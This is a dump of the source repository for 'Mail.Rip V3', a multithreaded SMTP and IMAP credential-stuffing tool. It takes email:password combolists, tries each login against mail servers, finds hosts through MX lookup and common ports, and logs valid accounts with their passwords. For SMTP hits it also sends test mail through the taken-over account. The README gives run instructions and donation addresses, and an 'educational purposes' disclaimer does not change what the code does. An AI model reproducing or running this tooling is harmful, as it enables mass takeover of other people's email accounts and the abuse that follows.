├── MailRipV3_NOGUI.py ├── README.md ├── inc_attackimap.py ├── inc_attacksmtp.py ├── inc_comboloader.py ├── inc_domainblacklist.json ├── inc_emailcontent.json ├── inc_etc.py ├── inc_imapdomains.json ├── inc_imapports.json ├── inc_imapservices.json ├── inc_mxlookup.py ├── inc_smtpports.json ├── inc_smtpservices.json ├── inc_testmail.py └── requirements.txt /MailRipV3_NOGUI.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-06' 6 | __version__ = 'BETA(1.2)' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | __ __ _ _ ___ _ ____ 11 | | \/ |__ _(_) | | _ (_)_ __ __ _|__ / 12 | | |\/| / _` | | |_| / | '_ \ \ V /|_ \\ 13 | |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/ 14 | |_| 15 | ---------------------------------------- 16 | 17 | *** LEGAL NOTICES *** 18 | 19 | Mail.Rip V3 has been created for educational purposes only. 20 | It shall not be used for any kind of illegal activity nor 21 | law enforcement at any time. This applies to all cases of 22 | usage, no matter whether the code as a whole or just parts 23 | of it are being used. 24 | 25 | *** SHORT INFO *** 26 | 27 | SMTP and IMAP Checker / Cracker for Email:Pass Combolists. 28 | Further Information and Help at: 29 | 30 | https://github.com/DrPython3/MailRipV3 31 | ''' 32 | 33 | # [IMPORTS] 34 | # --------- 35 | 36 | import sys 37 | import threading 38 | import inc_attackimap as ic 39 | import inc_attacksmtp as sc 40 | from queue import Queue 41 | from time import sleep 42 | from inc_comboloader import comboloader 43 | from inc_etc import clean 44 | from inc_etc import get_combofile_nogui 45 | 46 | # [VARIOUS] 47 | # --------- 48 | 49 | main_logo = ''' 50 | __ __ _ _ ___ _ ____ 51 | | \/ |__ _(_) | | _ (_)_ __ __ _|__ / 52 | | |\/| / _` | | |_| / | '_ \ \ V /|_ \\ 53 | |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/ 54 | |_| 55 | 56 | ********************** 57 | *** NO GUI VERSION *** 58 | ********************** 59 | 60 | Tip or donate for faster development: 61 | 62 | (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU 63 | (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK 64 | 65 | ''' 66 | 67 | # global variables and stuff: 68 | targets_total = int(0) 69 | targets_left = int(0) 70 | hits = int(0) 71 | fails = int(0) 72 | 73 | checker_queue = Queue() 74 | 75 | # [FUNCTIONS] 76 | # ----------- 77 | 78 | def checker_thread(checker_type, default_timeout, default_email): 79 | ''' 80 | Function for a single thread which performs the main checking process. 81 | 82 | :param str checker_type: smtp or imap 83 | :param float default_timeout: timeout for server connection 84 | :param str default_email: user's email for test messages (SMTP only) 85 | :return: None 86 | ''' 87 | # set variables: 88 | global targets_left 89 | global hits 90 | global fails 91 | # start thread for chosen checker type: 92 | while True: 93 | target = str(checker_queue.get()) 94 | result = False 95 | try: 96 | if checker_type == 'smtp': 97 | result = sc.smtpchecker( 98 | float(default_timeout), 99 | str(default_email), 100 | str(f'{target}') 101 | ) 102 | elif checker_type == 'imap': 103 | result = ic.imapchecker( 104 | float(default_timeout), 105 | str(f'{target}') 106 | ) 107 | except: 108 | pass 109 | # update stats: 110 | if result == True: 111 | hits += 1 112 | else: 113 | fails += 1 114 | targets_left -= 1 115 | checker_queue.task_done() 116 | # cooldown for checker thread: 117 | sleep(3.0) 118 | return None 119 | 120 | def checker(checker_type, default_threads, default_timeout, default_email, combofile): 121 | ''' 122 | Function to control the import of combos, to start threads etc. 123 | 124 | :param str checker_type: smtp or imap 125 | :param int default_threads: amount of threads to use 126 | :param float default_timeout: timeout for server-connections 127 | :param str default_email: users's email for test-messages (SMTP only) 128 | :param str combofile: textfile with combos to import 129 | :return: True (no errors occurred), False (errors occurred) 130 | ''' 131 | # set variables: 132 | global targets_total 133 | global targets_left 134 | combos_available = False 135 | try: 136 | # load combos: 137 | print('Step#1: Loading combos from file ...') 138 | try: 139 | combos = comboloader(combofile) 140 | except: 141 | combos = [] 142 | targets_total = len(combos) 143 | targets_left = targets_total 144 | if targets_total > 0: 145 | combos_available = True 146 | print(f'Done! Amount of combos loaded: {str(targets_total)}\n\n') 147 | else: 148 | print('Done! No combos loaded.\n\n') 149 | # start checker threads: 150 | if combos_available == True: 151 | print(f'Step#2: Starting threads for {checker_type} checker ...') 152 | for _ in range(default_threads): 153 | single_thread = threading.Thread( 154 | target=checker_thread, 155 | args=(str(f'{checker_type}'),default_timeout,default_email), 156 | daemon=True 157 | ) 158 | single_thread.start() 159 | # fill queue with combos: 160 | for target in combos: 161 | checker_queue.put(target) 162 | print('Done! Checker started and running - see stats in window title.\n\n') 163 | # checker stats in window title: 164 | while targets_left > 0: 165 | try: 166 | sleep(1.0) 167 | titlestats = str(f'LEFT: {str(targets_left)} # HITS: {str(hits)} # FAILS: {str(fails)}') 168 | sys.stdout.write('\33]0;' + titlestats + '\a') 169 | sys.stdout.flush() 170 | except: 171 | pass 172 | # finish checker: 173 | print('Step#3: Finishing checking ...') 174 | checker_queue.join() 175 | print('Done!\n\n') 176 | sleep(3.0) 177 | else: 178 | print('Press [ENTER] and try again, please!') 179 | input() 180 | clean() 181 | return True 182 | except: 183 | clean() 184 | return False 185 | 186 | def main(): 187 | ''' 188 | Simple function for main menu and checker setup. 189 | 190 | :return: None 191 | ''' 192 | # set default values for needed variables: 193 | default_timeout = float(3.0) 194 | default_threads = int(5) 195 | default_email = str('user@email.com') 196 | combofile = str('combos.txt') 197 | checker_type = str('smtp') 198 | clean() 199 | print(main_logo + '\n\n') 200 | # get values for variables from user input: 201 | try: 202 | # type of checking (SMTP / IMAP): 203 | checker_choice = int( 204 | input('Checker Type [1 = smtp or 2 = imap]: ') 205 | ) 206 | if checker_choice == 2: 207 | checker_type = 'imap' 208 | if checker_choice == 1: 209 | # (SMTP only) user's email address for testmailer: 210 | default_email = str( 211 | input('Your Email [e.g. your@email.com]: ') 212 | ) 213 | # threads to use: 214 | default_threads = int( 215 | input('Checker Threads [e.g. 1]: ') 216 | ) 217 | # default timeout for connections: 218 | default_timeout = float( 219 | input('Checker Timeout in Seconds [e.g. 3]: ') 220 | ) 221 | # start open-file-dialog using tkinter: 222 | combofile = get_combofile_nogui() 223 | # ask for starting the checker: 224 | start_now = str( 225 | input('\n\nStart Checker = [y] or Exit = [n]: ') 226 | ) 227 | # start checker for option "yes": 228 | if start_now in ['y', 'Y', 'yes', 'Yes']: 229 | clean() 230 | print( 231 | '\n\n' 232 | + f'Mail.Rip V3 - running ({checker_type}) checker:\n' 233 | + 38*'-' + '\n\n' 234 | + f'user email: {default_email}\n' 235 | + f'threads: {str(default_threads)}\n' 236 | + f'timeout: {str(default_timeout)}\n\n' 237 | + 38*'-' + '\n' 238 | ) 239 | print( 240 | 'Tip or donate for faster development:\n\n' 241 | + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n' 242 | + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n' 243 | ) 244 | print('Please be patient and wait while all combos are being checked ...\n\n') 245 | checker_result = checker( 246 | str(checker_type), 247 | int(default_threads), 248 | float(default_timeout), 249 | str(default_email), 250 | str(combofile) 251 | ) 252 | # show summary and quit: 253 | if checker_result == True: 254 | print( 255 | '\n\n' 256 | + f'Mail.Rip V3 - ({checker_type}) checker results:\n' 257 | + 38*'-' + '\n\n' 258 | + f'combos: {str(targets_total)}\n' 259 | + f'hits: {str(hits)}\n' 260 | + f'fails: {str(fails)}\n\n' 261 | + 38*'-' + '\n' 262 | ) 263 | print( 264 | 'Tip or donate for faster development:\n\n' 265 | + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n' 266 | + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n\n' 267 | ) 268 | print('Press [ENTER] to exit ...') 269 | input() 270 | else: 271 | clean() 272 | print( 273 | '\n\n\n' 274 | + '*** SORRY ***\n' 275 | + 'Errors occurred while checking your combos! Running the checker failed.\n' 276 | + 'Press [ENTER] to exit ...' 277 | ) 278 | input() 279 | clean() 280 | # exit for option "no": 281 | elif start_now in ['n', 'N', 'no', 'No']: 282 | clean() 283 | else: 284 | clean() 285 | print('\n\n*** SORRY ***\nSomething went wrong. Press [ENTER] and try again, please!\n') 286 | input() 287 | except: 288 | clean() 289 | print('\n\n*** SORRY ***\nAn error occurred. Press [ENTER] and try again, please!\n') 290 | input() 291 | sys.exit() 292 | 293 | # [MAIN] 294 | # ------ 295 | 296 | main() 297 | 298 | # DrPython3 (C) 2021 @ GitHub.com 299 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mail.Rip V3 2 | 3 | **Mail.Rip** - your **SMTP checker / SMTP cracker** and **IMAP checker / IMAP cracker** for testing mailpass combolists!
4 | With a user-friendly GUI based on [tkinter](https://docs.python.org/3/library/tkinter.html) - easy to use and working with all email providers so far. 5 | 6 | # Legal Notices 7 | 8 | **This repository is only public for educational purposes!** 9 | 10 | All content provided here shall not be used for any kind of illegal activity nor for law enforcement at any time.
11 | This restrictions apply to all cases of usage, no matter whether the whole code or just parts of it are being used. 12 | 13 | ***Visitors (users) declare their consent without reservations by:*** 14 | 15 | - visiting this repository, 16 | - downloading or / and 17 | - using any kind of its content (code, parts of the code, files etc.). 18 | 19 | # Features 20 | 21 | Mail.Rip V3 offers the following features: 22 | 23 | - [x] NO-GUI-version (status: BETA#1.2) 24 | - [ ] ~~GUI-version~~ (status: coming soon) 25 | - [x] written in and for Python 3.8+ 26 | - [x] works with all OS (tested on Windows, Linux and macOS) 27 | - [x] SMTP checker with inbuilt email delivery test 28 | - [x] IMAP checker (very fast) 29 | - [x] well sorted logging for results 30 | - [x] multi-threading 31 | 32 | ... with more to come! 33 | 34 | Feel free to ask for any improvements, new features etc. in the discussion section.
35 | Meanwhile have an eye on the status information below for information about latest updates. 36 | 37 | # Status 38 | 39 | ***INFO: BETA started! See 'Status Logs' for detailed information.*** 40 | 41 | You can also try and use the **previous version: [Mail.Rip V2](https://github.com/DrPython3/MailRipV2)**.
42 | Nevertheless, help improving Mail.Rip V3! Test BETA versions and report any issues you notice, please. 43 | 44 | ## Status Logs 45 | 46 | **[2021/12/06]:** **_NO-GUI-version_** release BETA#1.2: improved SMTP-checker and mainfile.
47 | 48 | **[2021/12/05]:** **_NO-GUI-version_** release BETA#1.1: several minor improvements.
49 | 50 | **[2021/12/04]:** **_NO-GUI-version_** available (BETA#1)! **_GUI-version_** coming soon (BETA).
51 | 52 | **[2021/11/26]:** Preparing **_BETA release_** of the NO-GUI-version for open testing!
53 | 54 | **[2021/10/10]:** Minor updates for included stuff.
55 | 56 | **[2021/10/09]:** Uploading various included or updated stuff and preparing beta release.
57 | 58 | **[2021/10/06]:** Still working on the GUI part (while still learning writing GUI *lol*).
59 | 60 | **[2021/08/28]:** Short update: still working on the GUI stuff. 61 | 62 | # Quick Start Guide 63 | 64 | ## NO-GUI-version (command line) 65 | 66 | After downloading or cloning all files from this repository, install the required Python packages.
67 | Therefor, use the _requirements.txt_ with PIP: 68 | 69 | `pip install -r requirements.txt` 70 | 71 | Wait until the installation of all packages has been finished.
72 | Make sure your combofile is encoded with UTF-8 and start the checker: 73 | 74 | `python MailRipV3_NOGUI.py` 75 | 76 | Now follow the messages on your screen. You have to set some options, first.
77 | A window for choosing your combofile will show up afterwards. 78 | 79 | Finally, confirm the start of the checker and Mail.Rip V3 wil do the rest for you.
80 | After checking of your combos, look into the results directory to retrieve your hits. 81 | 82 | ## GUI-version 83 | 84 | _Not available yet._ 85 | 86 | # Detailed Information 87 | 88 | _Not available yet._ 89 | 90 | # Support this Project 91 | 92 | Mail.Rip V3 provides many improvements regarding previous versions.
93 | But there is still a lot of work to be done! 94 | 95 | Tip or donate for faster development, please: 96 | 97 | - **BTC:** 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU 98 | - **LTC:** LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK 99 | 100 | Every donation helps! 101 | -------------------------------------------------------------------------------- /inc_attackimap.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-05' 6 | __version__ = 'BETA(1.1)' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | --------------------------------------------- 11 | Functions for Checking Mailpass Combos (IMAP) 12 | --------------------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | import ssl 22 | import socket 23 | import imaplib 24 | import json 25 | from inc_etc import result 26 | 27 | # [VARIABLES AND OTHER STUFF] 28 | # --------------------------- 29 | 30 | try: 31 | # load IMAP lists and dictionary from JSON files: 32 | with open('inc_imapdomains.json') as inc_imapdomains: 33 | load_imapdomains = json.load(inc_imapdomains) 34 | imap_domains = (load_imapdomains['imapdomains']) 35 | with open('inc_imapports.json') as inc_imapports: 36 | load_imapports = json.load(inc_imapports) 37 | imap_ports = (load_imapports['imapports']) 38 | with open('inc_imapservices.json') as inc_imapservices: 39 | load_imapservices = json.load(inc_imapservices) 40 | imap_services = (load_imapservices['imapservices']) 41 | except: 42 | # on errors, set empty lists and dictionary: 43 | imap_domains = [] 44 | imap_ports = [] 45 | imap_services = {} 46 | 47 | # [FUNCTIONS] 48 | # ----------- 49 | 50 | def imapchecker(default_timeout, target): 51 | ''' 52 | Main checker function (IMAP). 53 | 54 | :param float default_timeout: connection timeout set by user 55 | :param str target: emailpass combo to check 56 | :return: True (valid login), False (login not valid) 57 | ''' 58 | # start the checking: 59 | try: 60 | # set variables and stuff: 61 | sslcontext = ssl.create_default_context() 62 | # because imaplib does not support timeout, socket here: 63 | socket.setdefaulttimeout(float(default_timeout)) 64 | output_hits = str('imap_valid') 65 | output_checked = str('imap_checked') 66 | target_email = str('') 67 | target_user = str('') 68 | target_password = str('') 69 | target_host = str('') 70 | target_port = int(0) 71 | service_info = str('') 72 | service_found = False 73 | connection_ok = False 74 | md5_login = False 75 | login_valid = False 76 | checker_result = False 77 | # included lists and dictionary for IMAP checker: 78 | global imap_domains 79 | global imap_ports 80 | global imap_services 81 | # prepare target information: 82 | new_target = str(str(target).replace('\n', '')) 83 | target_email, target_password = new_target.split(':') 84 | target_user = str(target_email) 85 | # try to get host and port from dictionary: 86 | try: 87 | service_info = str(imap_services[str(target_email.split('@')[1])]) 88 | target_host = str(service_info.split(':')[0]) 89 | target_port = int(service_info.split(':')[1]) 90 | # declare service information founnd: 91 | service_found = True 92 | # if previous step fails, search host and port using common values: 93 | except: 94 | pass 95 | # establish connection to host (details found in imap_services): 96 | if service_found == True: 97 | try: 98 | # SSL connection: 99 | if int(target_port) == int(993): 100 | imap_connection = imaplib.IMAP4_SSL( 101 | host=str(target_host), 102 | port=int(target_port), 103 | ssl_context=sslcontext 104 | ) 105 | # declare connection established: 106 | connection_ok = True 107 | # regular connection: 108 | else: 109 | imap_connection = imaplib.IMAP4( 110 | host=str(target_host), 111 | port=int(target_port) 112 | ) 113 | # TLS: 114 | try: 115 | imap_connection.starttls( 116 | ssl_context=sslcontext 117 | ) 118 | except: 119 | pass 120 | # declare connection established: 121 | connection_ok = True 122 | except: 123 | pass 124 | # if no connection established, try with common values: 125 | if connection_ok == False: 126 | for subdomain in imap_domains: 127 | test_host = str(str(subdomain) + str(target_email.split('@')[1]).lower()) 128 | for next_port in imap_ports: 129 | try: 130 | # SSL connection: 131 | if int(next_port) == int(993): 132 | imap_connection = imaplib.IMAP4_SSL( 133 | host=str(test_host), 134 | port=int(next_port), 135 | ssl_context=sslcontext 136 | ) 137 | # set variables to found host: 138 | target_host = str(test_host) 139 | target_port = int(next_port) 140 | # declare connection established: 141 | connection_ok = True 142 | # regular connection: 143 | else: 144 | imap_connection = imaplib.IMAP4( 145 | host=str(test_host), 146 | port=int(next_port) 147 | ) 148 | # TLS: 149 | try: 150 | imap_connection.starttls( 151 | ssl_context=sslcontext 152 | ) 153 | except: 154 | pass 155 | # set variables to found host: 156 | target_host = str(test_host) 157 | target_port = int(next_port) 158 | # declare connection established: 159 | connection_ok = True 160 | break 161 | except: 162 | continue 163 | if connection_ok == True: 164 | break 165 | else: 166 | continue 167 | # test login credentials using established connection: 168 | if connection_ok == True: 169 | try: 170 | # MD5 authentification: 171 | if 'AUTH=CRAM-MD5' in imap_connection.capabilities: 172 | md5_login = True 173 | # check login credentials using CRAM-MD5: 174 | try: 175 | login_response, login_message = imap_connection.login_cram_md5( 176 | user=str(target_user), 177 | password=str(target_password) 178 | ) 179 | if str('OK') in login_response: 180 | # declare login valid: 181 | login_valid = True 182 | # on errors try login with user ID from email: 183 | except: 184 | try: 185 | target_user = str(target_email.split('@')[0]) 186 | login_response, login_message = imap_connection.login_cram_md5( 187 | user=str(target_user), 188 | password=str(target_password) 189 | ) 190 | if str('OK') in login_response: 191 | # declare login valid: 192 | login_valid = True 193 | except: 194 | result(output_checked, str(f'{new_target};result=md5-login failed')) 195 | else: 196 | pass 197 | except: 198 | pass 199 | if md5_login == False: 200 | # reegular login, no CRAM-MD5: 201 | # login with user = email: 202 | try: 203 | login_response, login_message = imap_connection.login( 204 | user=str(target_user), 205 | password=str(target_password) 206 | ) 207 | if str('OK') in login_response: 208 | # declare login valid: 209 | login_valid = True 210 | # on errors try login with user ID from email: 211 | except: 212 | try: 213 | target_user = str(target_email.split('@')[0]) 214 | login_response, login_message = imap_connection.login( 215 | user=str(target_user), 216 | password=str(target_password) 217 | ) 218 | if str('OK') in login_response: 219 | # declare login valid: 220 | login_valid = True 221 | except: 222 | result(output_checked, str(f'{new_target};result=login failed')) 223 | # no connection established, write log for target: 224 | else: 225 | result(output_checked, str(f'{new_target};result=no connection')) 226 | # TODO: probably change to select method ... 227 | # with valid login, try to list mailboxes: 228 | if login_valid == True: 229 | try: 230 | list_response, mailbox_list = imap_connection.list() 231 | if str('OK') in list_response: 232 | checker_result = True 233 | result(output_checked, str(f'{new_target};result=login valid, listing mailboxes ok')) 234 | else: 235 | result(output_checked, str(f'{new_target}:result=login valid, listing mailboxes failed')) 236 | except: 237 | pass 238 | try: 239 | # TODO: in case of using select method above, send "close" first ... 240 | imap_connection.logout() 241 | except: 242 | pass 243 | if checker_result == True or login_valid == True: 244 | result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}') 245 | result(output_hits, result_output) 246 | # show found login on screen: 247 | print(f'[VALID] {result_output}') 248 | return True 249 | else: 250 | return False 251 | # on any errors while checking, write log before exit: 252 | except: 253 | result(output_checked, str(f'{new_target};result=check failed')) 254 | return False 255 | 256 | # DrPython3 (C) 2021 @ GitHub.com 257 | -------------------------------------------------------------------------------- /inc_attacksmtp.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-06' 6 | __version__ = 'BETA(1.2)' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | --------------------------------------------- 11 | Functions for Checking Mailpass Combos (SMTP) 12 | --------------------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | import ssl 22 | import smtplib 23 | import json 24 | from inc_testmail import mailer 25 | from inc_etc import result 26 | from inc_mxlookup import get_host 27 | 28 | # [VARIABLES AND OTHER STUFF] 29 | # --------------------------- 30 | 31 | try: 32 | # load SMTP lists and dictionary from JSON files: 33 | with open('inc_smtpports.json') as inc_smtpports: 34 | load_smtpports = json.load(inc_smtpports) 35 | smtp_ports = (load_smtpports['smtpports']) 36 | with open('inc_smtpservices.json') as inc_smtpservices: 37 | load_smtpservices = json.load(inc_smtpservices) 38 | smtp_services = (load_smtpservices['smtpservices']) 39 | except: 40 | # on errors, set empty lists and dictionary: 41 | smtp_ports = [] 42 | smtp_services = {} 43 | 44 | # [FUNCTIONS] 45 | # ----------- 46 | 47 | def smtpchecker(default_timeout, default_email, target): 48 | ''' 49 | Main checker function (SMTP) including testmail sending in case a valid login is found. 50 | 51 | :param float default_timeout: connection timeout set by user 52 | :param str default_email: user email for sending testmail 53 | :param str target: emailpass combo to check 54 | :return: True (valid login), False (login not valid) 55 | ''' 56 | # start the checking: 57 | try: 58 | # variables and stuff: 59 | sslcontext = ssl.create_default_context() 60 | output_hits = str('smtp_valid') 61 | output_checked = str('smtp_checked') 62 | output_testmail = str('smtp_testmessages') 63 | target_email = str('') 64 | target_user = str('') 65 | target_password = str('') 66 | target_host = str('') 67 | target_port = int(0) 68 | service_info = str('') 69 | service_found = False 70 | connection_ok = False 71 | checker_result = False 72 | email_sent = False 73 | # included lists and dictionary for SMTP checker: 74 | global smtp_domains 75 | global smtp_ports 76 | global smtp_services 77 | # prepare target information: 78 | new_target = str(str(target).replace('\n', '')) 79 | target_email, target_password = new_target.split(':') 80 | target_user = str(target_email) 81 | # try to get host and port from dictionary: 82 | try: 83 | service_info = str(smtp_services[str(target_email.split('@')[1])]) 84 | target_host = str(service_info.split(':')[0]) 85 | target_port = int(service_info.split(':')[1]) 86 | # declare service details found: 87 | service_found = True 88 | except: 89 | pass 90 | # establish connection with any found service details: 91 | if service_found == True: 92 | try: 93 | # SSL-connection: 94 | if int(target_port) == int(465): 95 | smtp_connection = smtplib.SMTP_SSL( 96 | host=str(target_host), 97 | port=int(target_port), 98 | timeout=default_timeout, 99 | context=sslcontext 100 | ) 101 | smtp_connection.ehlo() 102 | # declare connection established: 103 | connection_ok = True 104 | # regular connection: 105 | else: 106 | smtp_connection = smtplib.SMTP( 107 | host=str(target_host), 108 | port=int(target_port), 109 | timeout=default_timeout 110 | ) 111 | smtp_connection.ehlo() 112 | # TLS: 113 | try: 114 | smtp_connection.starttls( 115 | context=sslcontext 116 | ) 117 | smtp_connection.ehlo() 118 | except: 119 | pass 120 | # declare connection established: 121 | connection_ok = True 122 | except: 123 | pass 124 | # if connection failed or no service details found, try to find host: 125 | if service_found == False or connection_ok == False: 126 | try: 127 | # try to get from MX records: 128 | mx_result, found_host = get_host(default_timeout, target_email) 129 | except: 130 | mx_result = False 131 | found_host = str('') 132 | # if host found using MX records: 133 | if mx_result == True: 134 | target_host = str(found_host) 135 | # get port: 136 | for next_port in smtp_ports: 137 | # SSL-connection: 138 | try: 139 | if int(next_port) == int(465): 140 | smtp_connection = smtplib.SMTP_SSL( 141 | host=str(target_host), 142 | port=int(next_port), 143 | timeout=default_timeout, 144 | context=sslcontext 145 | ) 146 | smtp_connection.ehlo() 147 | # change variables for established connections: 148 | target_port = int(next_port) 149 | connection_ok = True 150 | else: 151 | # regular connection: 152 | smtp_connection = smtplib.SMTP( 153 | host=str(target_host), 154 | port=int(next_port), 155 | timeout=default_timeout 156 | ) 157 | smtp_connection.ehlo() 158 | # TLS: 159 | try: 160 | smtp_connection.starttls( 161 | context=sslcontext 162 | ) 163 | smtp_connection.ehlo() 164 | except: 165 | pass 166 | # change variables for established connections: 167 | target_port = int(next_port) 168 | connection_ok = True 169 | break 170 | except: 171 | continue 172 | # checking for SMTP host with common domains deleted here! 173 | # with connection established, check login details: 174 | if connection_ok == True: 175 | try: 176 | try: 177 | # user = email: 178 | smtp_connection.login( 179 | user=str(target_user), 180 | password=str(target_password) 181 | ) 182 | # declare login valid: 183 | checker_result = True 184 | except: 185 | # user = userid from email: 186 | target_user = str(target_email.split('@')[0]) 187 | smtp_connection.login( 188 | user=str(target_user), 189 | password=str(target_password) 190 | ) 191 | # declare login valid: 192 | checker_result = True 193 | try: 194 | smtp_connection.quit() 195 | except: 196 | pass 197 | # write logs: 198 | result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}') 199 | result(output_hits, result_output) 200 | result(output_checked, str(f'{new_target};result=login valid')) 201 | # show found login on screen: 202 | print(f'[VALID] {result_output}') 203 | except: 204 | result(output_checked, str(f'{new_target};result=login failed')) 205 | # no connection established, write log: 206 | else: 207 | result(output_checked, str(f'{new_target};result=no connection')) 208 | # with valid login, try to send testmail: 209 | if checker_result == True: 210 | try: 211 | email_sent = mailer( 212 | str(default_email), 213 | str(target_email), 214 | str(target_host), 215 | int(target_port), 216 | str(target_user), 217 | str(target_password) 218 | ) 219 | # write log for testmail: 220 | if email_sent == True: 221 | result(output_testmail, str(f'{new_target};result=testmessage sent')) 222 | else: 223 | result(output_testmail, str(f'{new_target};result=testmessage not sent')) 224 | # if testmail fails, write log: 225 | except: 226 | result(output_testmail, str(f'{new_target};result=testmessage failed')) 227 | return True 228 | else: 229 | return False 230 | # on any errors while checking, write log before exit: 231 | except: 232 | result(output_checked, str(f'{new_target};result=check failed')) 233 | return False 234 | 235 | # DrPython3 (C) 2021 @ GitHub.com 236 | -------------------------------------------------------------------------------- /inc_comboloader.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-04' 6 | __version__ = '2.4' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | --------------------------------- 11 | Functions for Handling Combolists 12 | --------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | from datetime import datetime 22 | from inc_etc import result 23 | from inc_etc import email_verification 24 | from inc_etc import blacklist_check 25 | 26 | # [FUNCTIONS] 27 | # ----------- 28 | 29 | def comboloader(input_file): 30 | ''' 31 | Loads combos from a given file. 32 | 33 | :param str input_file: file containing the combos 34 | :return: list with loaded combos 35 | ''' 36 | # set variables: 37 | loaded_combos = [] 38 | output_blacklist = str('combos_blacklisted') 39 | output_clean = str('combos_loaded') 40 | # log message on start: 41 | timestamp = datetime.now() 42 | output_startup = str( 43 | 'Comboloader started on: ' 44 | + str(timestamp.strftime('%Y-%m-%d %H:%M:%S')) 45 | + f', combofile: {input_file}' 46 | ) 47 | # logging import of combofile: 48 | result(output_blacklist, str('\n' + output_startup + '\n' + len(output_startup)*'=')) 49 | result(output_clean, str('\n' + output_startup + '\n' + len(output_startup) * '=')) 50 | # import the combos: 51 | try: 52 | for line in open(input_file, 'r'): 53 | try: 54 | # replace any other seperator than semicolon in combos: 55 | new_combo = str( 56 | line.replace(';', ':').replace(',', ':').replace('|', ':') 57 | ) 58 | # check combo for email address: 59 | with_email = email_verification( 60 | new_combo.split(':')[0] 61 | ) 62 | if with_email == False: 63 | continue 64 | # check email domain against provider blacklist: 65 | blacklisted = blacklist_check( 66 | new_combo.split(':')[0] 67 | ) 68 | if blacklisted == True: 69 | new_combo = str(new_combo.replace('\n', '')) 70 | result(output_blacklist,new_combo) 71 | continue 72 | # add unique combos to target-list: 73 | if new_combo in loaded_combos: 74 | continue 75 | else: 76 | loaded_combos.append(new_combo) 77 | new_combo = str(new_combo.replace('\n', '')) 78 | result(output_clean, new_combo) 79 | except: 80 | continue 81 | # write logs when finished and quit: 82 | result(output_blacklist, str(f'\nCombos imported from file: {input_file}.\n=== END OF IMPORT ===')) 83 | result(output_clean, str(f'\nCombos imported from file: {input_file}.\n=== END OF IMPORT ===')) 84 | except: 85 | result(output_blacklist, str(f'\nAn error occurred while importing the combos from file: {input_file}.\n=== END OF IMPORT ===')) 86 | result(output_clean, str(f'\nAn error occurred while importing the combos from file: {input_file}.\n=== END OF IMPORT ===')) 87 | return loaded_combos 88 | 89 | # DrPython3 (C) 2021 @ GitHub.com 90 | -------------------------------------------------------------------------------- /inc_domainblacklist.json: -------------------------------------------------------------------------------- 1 | { 2 | "domainblacklist":[ 3 | "protonmail.com", 4 | "yandex.ru", 5 | "0815.ru", 6 | "0wnd.net", 7 | "0wnd.org", 8 | "10minutemail.co.za", 9 | "10minutemail.com", 10 | "123-m.com", 11 | "163.com", 12 | "1fsdfdsfsdf.tk", 13 | "1pad.de", 14 | "20minutemail.com", 15 | "21cn.com", 16 | "2fdgdfgdfgdf.tk", 17 | "2prong.com", 18 | "30minutemail.com", 19 | "33mail.com", 20 | "3trtretgfrfe.tk", 21 | "4gfdsgfdgfd.tk", 22 | "4warding.com", 23 | "5ghgfhfghfgh.tk", 24 | "6hjgjhgkilkj.tk", 25 | "6paq.com", 26 | "7tags.com", 27 | "9ox.net", 28 | "a-bc.net", 29 | "agedmail.com", 30 | "ama-trade.de", 31 | "amilegit.com", 32 | "amiri.net", 33 | "amiriindustries.com", 34 | "anonmails.de", 35 | "anonymbox.com", 36 | "antichef.com", 37 | "antichef.net", 38 | "antireg.ru", 39 | "antispam.de", 40 | "antispammail.de", 41 | "armyspy.com", 42 | "artman-conception.com", 43 | "azmeil.tk", 44 | "baxomale.ht.cx", 45 | "beefmilk.com", 46 | "bigstring.com", 47 | "binkmail.com", 48 | "bio-muesli.net", 49 | "bobmail.info", 50 | "bodhi.lawlita.com", 51 | "bofthew.com", 52 | "bootybay.de", 53 | "boun.cr", 54 | "bouncr.com", 55 | "breakthru.com", 56 | "brefmail.com", 57 | "bsnow.net", 58 | "bspamfree.org", 59 | "bugmenot.com", 60 | "bund.us", 61 | "burstmail.info", 62 | "buymoreplays.com", 63 | "byom.de", 64 | "c2.hu", 65 | "card.zp.ua", 66 | 